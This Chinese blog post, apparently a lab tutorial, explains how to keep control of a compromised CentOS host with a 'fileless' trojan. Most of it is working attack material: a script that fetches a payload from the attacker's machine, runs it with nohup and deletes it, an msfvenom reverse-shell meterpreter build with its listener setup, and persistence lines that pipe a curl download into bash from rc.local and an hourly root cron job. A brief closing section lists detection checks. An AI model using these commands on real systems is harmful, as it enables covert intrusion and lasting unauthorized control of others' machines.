首页 > 系统相关 >使用脚本创建Linux无文件木马

使用脚本创建Linux无文件木马

时间:2022-11-20 23:26:25浏览次数:36  
标签:脚本 tmp 命令 主机 1.53 muma 木马 Linux bash

实验环境:

攻击主机:kali2022.3 IP192.168.1.53 开启apache2

目标主机:centos 7.6 ip192.168.1.63      

前提条件

1.已经获取到目标主机root权限

2.已经建立一个WEB网站并将脚本文件和后门程序存放到网站供下载

方式

通过在启动项和计划任务中添加下载执行脚本命令

目的

长期维持目标权限,隐藏后门

一、脚本内容

脚本文件jiaoben.sh保存在kali主机192.168.1.53web根目录下

#!/bin/bash

#通过curl命令或wget命令下载payload到/tmp目录

curl -fsSL http://192.168.1.53/muma  -o /tmp/muma || wget -q http://192.168.1.53/muma  -O /tmp/muma

ls /tmp/muma

#添加后门执行权限

chmod +x /tmp/muma

#后台执行

nohup /tmp/muma &

#nohup 英文全称 no hang up(不挂起),用于在系统后台不挂断地运行命令,退出终端不会影响程序的运行。

#sleep 5秒再删除文件,删除太快可能导致payload还没有运行起来就被删除了。

sleep 5

#删除源文件

rm -rf /tmp/muma

二、生成木马

使用metasploit生成反弹木马

msfvenom -a x64 --platform linux -p linux/x64/meterpreter/reverse_tcp LHOST=192.168.1.53 LPORT=4444 -b "\x00" -f elf -o /var/www/html/muma

 

在kali主机上开启监听4444

加载模块

msf6 > use exploit/multi/handler

 

查看配置参数

msf6 exploit(multi/handler) > show options

 

配置payload

msf6 exploit(multi/handler) > set payload  linux/x64/meterpreter/reverse_tcp

 

配置反弹回来接收信息的主机

msf6 exploit(multi/handler) > set lhost 192.168.1.53

 

运行监听

msf6 exploit(multi/handler) > run

三、利用获取的权限在启动项中添加命令

 echo " bash <(curl -s -L http://192.168.1.53/jiaoben.sh) >> /dev/null 2>&1" >> /etc/rc.d/rc.loca

将命令“bash <(curl -s -L http://192.168.1.53/jiaoben.sh) >> /dev/null 2>&1”添加到启动项中

 注:

bash <() #表示将括号中的内容通过 bash 来执行curl -s -L

curl 是一个利用 URL 语法在命令行下进行文件传输的工具

-s --silent #表示静默模式不输出任何内容

-L 跟 http 连接,组合使用的效果是把 http 连接中的文件下载到内存中,然后传 bash,进行执 行

>> /dev/null 2>&1 #不输出任何信息

 

只要目标主机重新启动就会自动下载并执行脚本内容下载运行后门

四、在计划任务文件中添加命令

在kaili主机获取的shell上执行命令

crontab -e

进入vim编辑器,添加内容如下:

0 */1 * * * root bash <(curl -s -L http://192.168.1.53/jiaoben.sh) >>dev>null 2>&1

注:每小时的0分以root角色执行一次任务

五、查杀后门

存在问题:后门程序没有隐藏进程,很容易被细心的管理员发现

1、在目标主机上运行木马可以通过netstat ano命令查看建立连接的可疑端口

2、使用ps aux命令查看可以端口的进程

3、检查/etc/rc.d/rc.loca文件查看自启动项;命令:ntsysv 查看当前系统开启自启动的服务项

4、查看计划任务文件

vim /etc/crontab    查看是否有未经允许的计划任务

 

标签:脚本,tmp,命令,主机,1.53,muma,木马,Linux,bash
From: https://www.cnblogs.com/jihejihe/p/16909848.html

相关文章

  • Linux 命令行批处理图片,批量去除截图的无用部分
    我希望产生一批相同区域但不同内容的截图,如果用截图工具截取矩形区域,那么每次截取的位置和大小都没法控制,不能做到区域一样。如果希望每次的截图都一样,那么就只能是保持窗口......
  • LINUX命令截图
                 ......
  • Linux切换账户(或ssh远程)执行QT程序无法输入中文
    系统:银河麒麟前提条件:已经安装了fcitx插件,因为QTcreator本身不支持中文输入,需要插件支持;场景1:一台计算机;使用普通用户(例如:user01)登录并打包一个可以执......
  • LINUX命令
      ls-a列出当前目录下的所有文件,包括以.头的隐含文件(如~/.bashrc)ls–l列出当前目录下文件的详细信息2.pwd查看当前所在目录的绝对路经3.cd目录之间的移......
  • 简单linux-sudo密码劫持脚本
    简单linux-sudo密码劫持脚本#!/bin/bashswhoami=`whoami`if[[!-f"/tmp/..."]];then swhoami=`whoami` read-s-p"[sudo]passwordfor$swhoami:"passwd ......
  • xhell6解密脚本
    xhell6解密脚本importhashlibimportbase64string="ntauthority\systemS-1-5-18"#########sha256########sha256=hashlib.sha256()sha256.update(stri......
  • Linux 使用 iptables 禁止某些 IP 访问
    在Linux服务器被攻击的时候,有的时候会有几个主力IP。如果能拒绝掉这几个IP的攻击的话,会大大减轻服务器的压力,说不定服务器就能恢复正常了。在Linux下封停IP,有封杀网段和封......
  • golang接收文件脚本
    golang接收文件脚本packagemainimport("io""os""fmt""io/ioutil""net/http")//https://www.jianshu.com/p/b49cc19d26f0参考资料......
  • linux vim 复制粘贴代码
    将光标移动到复制的起始位置,按一下大写V或小写v,(大写V是整行,小写是光标处),然后上下左右将光标移动到复制的末尾,然后按下y,移动到要粘贴的位置,按下大写P或小写p(大写P:光标之前......
  • SecureCRT远程连接linux
    现在我们使用远程工具进行登录,SecureCRT显示......